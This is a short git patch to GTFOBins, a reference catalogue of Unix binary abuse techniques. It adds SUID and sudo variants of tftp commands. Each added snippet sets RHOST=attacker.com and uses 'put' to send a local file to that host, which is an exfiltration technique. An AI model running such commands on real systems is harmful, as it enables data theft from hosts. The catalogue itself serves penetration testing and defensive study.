From 53ad35fb102ae152c40668dd8e55104d7193df75 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Sun, 22 Jul 2018 18:24:39 +0100 Subject: [PATCH] Add suid-enabled and sudo-enabled to tftp --- _gtfobins/tftp.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/_gtfobins/tftp.md b/_gtfobins/tftp.md index f391860..d47af31 100644 --- a/_gtfobins/tftp.md +++ b/_gtfobins/tftp.md @@ -12,4 +12,16 @@ functions: RHOST=attacker.com tftp $RHOST get file_to_get + suid-enabled: + - description: Send local file to a TFTP server. + code: | + RHOST=attacker.com + ./tftp $RHOST + put file_to_send + sudo-enabled: + - description: Send local file to a TFTP server. + code: | + RHOST=attacker.com + sudo -E tftp $RHOST + put file_to_send ---